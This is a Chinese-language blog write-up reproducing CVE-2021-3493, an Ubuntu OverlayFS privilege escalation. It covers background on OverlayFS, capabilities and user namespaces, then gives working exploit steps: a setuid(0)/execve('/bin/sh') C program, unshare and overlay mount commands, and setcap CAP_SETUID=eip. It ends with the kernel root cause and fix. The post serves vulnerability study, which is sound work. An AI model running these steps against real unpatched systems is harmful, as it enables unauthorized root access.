CVE-2021-3493复现
CVE-2021-3493
一、漏洞简介
-
linux内核中的overlayfs文件系统没有正确根据用户命名空间校验 capability权限,从而导致普通用户可以利用该漏洞提升权限为root用户。
-
该漏洞NVD的打分为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,最终得分为7.8分(高危)。
漏洞影响范围为:
Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM
二、前置知识
2.1、Overlay文件系统
-
Overlayfs是一个面向Linux的文件系统服务,其实现一个面向其他类型文件系统(如ext4fs、ext3fs等)的联合挂载,而不直接参与磁盘空间结构的划分。于2014年被合并到Linux内核的3.18版本,目前功能已经稳定且被逐渐推广,并在docker容器技术中得到广泛的应用。
-
如图所示,Overlayfs由两个文件系统组合而成:一个upper文件系统和一个lower文件系统,两种文件系统联合挂载成为一个目录。upper目录只能有一个,而lower可以有多个。upper目录中的文件会覆盖lower中的同名文件,比如图中merged目录中的file3目录最终显示的是upper目录中的file3目录。当存在多个lower目录时,高级别lower目录中的文件也会覆盖低级别lower目录中的文件。
-
upper目录可读可写,图中file3、file4文件的修改会被映射到upper中,比如删除或者修改操作。而lower目录是只读目录,file1和file2的改动不会影响到lower目录中的真实文件。当删除文件file1时,系统会创建一个删除标记,而不会真正删除lower中的文件。当改写lower层的文件时,系统会将文件拷贝至upper目录中进行修改,并隐藏lower目录中的同名文件。

-
可以在 Linux 系统中操作一下以加深对 OverlayFS 的理解。
-
mkdir ovlcap && cd ovlcap/ mkdir work # 用于临时工作的目录,必须是空文件夹 mkdir lower && touch lower/l1.txt # 文件系统的下层目录 mkdir upper && touch upper/u2.txt # 文件系统的上层目录 mkdir merged mount -t overlay overlay -o lowerdir=./lower,upperdir=./upper,workdir=./work ./merged ls merged/

2.2、linux capabilities机制
- Linux内核2.2引入了capabilities机制,并在后续使用中使用完善。该机制将root用户的权限细分为不同的领域,可以分别启用或禁用。在实际进行特权操作时,如果euid不是root,系统会校验该线程是否具有完成操作对应的capabilities特权。线程和文件均有capabilities的概念。
| capability 名称 | 功能描述 |
|---|---|
| CAP_CHOWN | 修改文件所有者的权限 |
| CAP_KILL | 允许对不属于自己的进程发送信号 |
| CAP_SETFCAP | 允许为文件设置任意的 capabilities |
| CAP_SETUID | 允许改变进程的 UID |
| CAP_SYS_ADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 |
2.2.1、线程的capabilities
每一个线程,具有3个capabilities的集合,分别是:
-
Permitted
Permitted集合定义了线程的特权上限,如果执行操作所需要的capability不在该集合中,那么该线程不会进行对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。
-
Inheritable
当执行
exec()系统调用运行其他程序时,哪些特权能够被新线程继承capabilities。 -
Effective
内核检查该线程是否可以进行特权操作时,检查的对象便是Effective集合。线程可以删除Effective集合中的某capability,随后在需要时,再从Permitted集合中恢复该capability,以此达到临时禁用capability的功能。
2.2.2、 文件的capabilities
文件的capabilities被记录在文件的拓展属性中。当某线程想修改这些扩展属性时,需要具有CAP_SETFCAP的capability。
- Permitted
文件被执行时加入其线程的Permitted集合。
- Inheritable
这个集合与线程的Inheritable集合的交集作为执行完exec后实际继承的capabilities。
- Effective
如果设置开启,那么在运行后,Permitted集合中新增的capabilities会自动出现在Effective集合中;否则不会出现在Effective集合中。对于一些旧的可执行文件,由于其不会调用capabilities相关函数设置自身的Effective集合,所以可以将该可执行文件的Effective bit开启,从而将Permitted集合中的capabilities自动添加到Effective集合中。
-
ambient
在内核4.3后引入,用于补充Inheritable使用上的缺陷,ambien集合可以使用函数prctl修改。当程序由于SUID(SGID)bit位而转变UID(GID),或执行带有文件capabilities的程序时会导致该集合被清空
![]()
- 比如我们熟知的
ping命令,它所用到的底层是使用socket实现的,而socket是root用户才有权限使用的。在Ubuntu 18.04LTS的发行版当中,我们看看它是怎么解决这个权限问题的。 - ping二进制文件被设置了
s权限位,意味着我运行ping的时候,ping这个processuid为0,也就是root用户。若取消设置它的s权限位,它将不再具有ping的功能,底层的socket并不允许普通用户运行。 - 而当自己权限提升之后又能够使用
ping命令了,是因为root用户执行读写和某些底层操作时不检查权限。 - 在这里我们只需要使用
setcap命令将ping加上socket权限就可以让我们运行的时候获得socket权限,正常使用ping命令,这么做的好处就是假如我的ping命令有漏洞存在,那么当别人借着ping命令来提权我的计算机时会发现它获得的shell只拥有socket这么一个特权操作,其它的操作与普通用户并没有区别,这样极大地降低了安全风险,而如果我使用s权限位,那么别人通过这个获取漏洞之后将能直接获得root权限能操作计算机的一切资源。 - 使用setcap添加完权限之后,发现又可以使用
ping命令了,这是因为通过setcap让/bin/ping重新拥有了socket权限。
2.3、 User namespace
- namespace 是 Linux 内核用来隔离内核资源的方式。通过 namespace 可以让一些进程只能看到与自己相关的一部分资源,而另外一些进程也只能看到与它们自己相关的资源,这两拨进程根本就感觉不到对方的存在。具体的实现方式是把一个或多个进程的相关资源指定在同一个 namespace 中。Linux namespace 的主要目的是实现虚拟化(容器)服务。 Linux 中可以通过 unshare 命令来体会一下 namespace。
--fork:执行 unshare 的进程 fork 一个新的子进程,在子进程里执行 unshare 传入的参数。--pid:不从父进程继承 pid 的 namespace。也就是说,在子进程内执行 ps,无法看到父进程原有的进程。
unshare --pid --fork /bin/bash
mount -t proc proc /proc
ps -ef

- 可以看到
/bin/bash进程的 pid 为 1,但这只是在 namespace 中而已,外部 pid 为 1 的进程依然是 init。
![]()
三、漏洞复现
- 该漏洞是通过创建一个 namespace,在 namespace 中通过 OverlayFS 赋予某文件 capability 权限,结果由于程序检查不严,该权限逃逸到现实环境而造成的权限提升漏洞。 在普通用户下创建 work、lower、upper 和 merged 文件夹,作为 OverlayFS 的挂载点。并在『上层』目录 upper 文件夹中写入一个
1.c源文件,内容如下:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
int main(){
int res;
res = setuid(0);
printf("%d\n", res);
res = setgid(0);
printf("%d\n", res);
execve("/bin/sh", 0, 0);
return 0;
}
- 利用 unshare 命令创建一个命名空间内部为 root 权限的 bash
unshare --fork --user --mount --map-root-user
- 虽然变成了 root 但是目前并不能够访问 root 用户文件,再挂载 OverlayFS,随后设置
a.out的 capability 为 eip。因为 capabilities 机制对 root 权限进行更加详细的划分,被划分出来的每个单元被称为 capability,而设置 eip 意思就是说包含所有的权限单元。
mount -t overlay overlay -o lowerdir=./lower,upperdir=./upper,workdir=./work ./merged
setcap CAP_SETUID=eip merged/a.out
- 在 namespace 中设置了可执行文件
a.out的 capability,按道理说外层环境应该是不受 namespace 内的影响,但是该漏洞问题就出在这里。退出该虚拟环境后在其『上层』目录 upper 文件夹中a.out已经受到了影响。执行它也是成功获得 root 权限。
![]()
四、漏洞原因
-
内核源码中的
cap_convert_nscap()函数用来校验权限,包括文件所属的 namespace 与当前环境的 namespace 是否一致,以及当前用户是否具有 CAP_SETFCAP(允许为文件设置任意的 capabilities)的权限。
![]()
-
而
vfs_setxattr()函数并没有调用cap_convert_nscap()函数来进行校验,没有检查程序与环境的 namespace 是否一致。

- 修复方案就是将
setxattr()中的cap_convert_nscap()校验函数移动到了vfs_setxattr()中。

参考
https://github.com/briskets/CVE-2021-3493
https://www.freebuf.com/vuls/275787.html
https://www.anquanke.com/post/id/240030
https://bbs.pediy.com/thread-274241.htm
https://blog.zjun.info/tech/cve-2021-3493/





浙公网安备 33010602011771号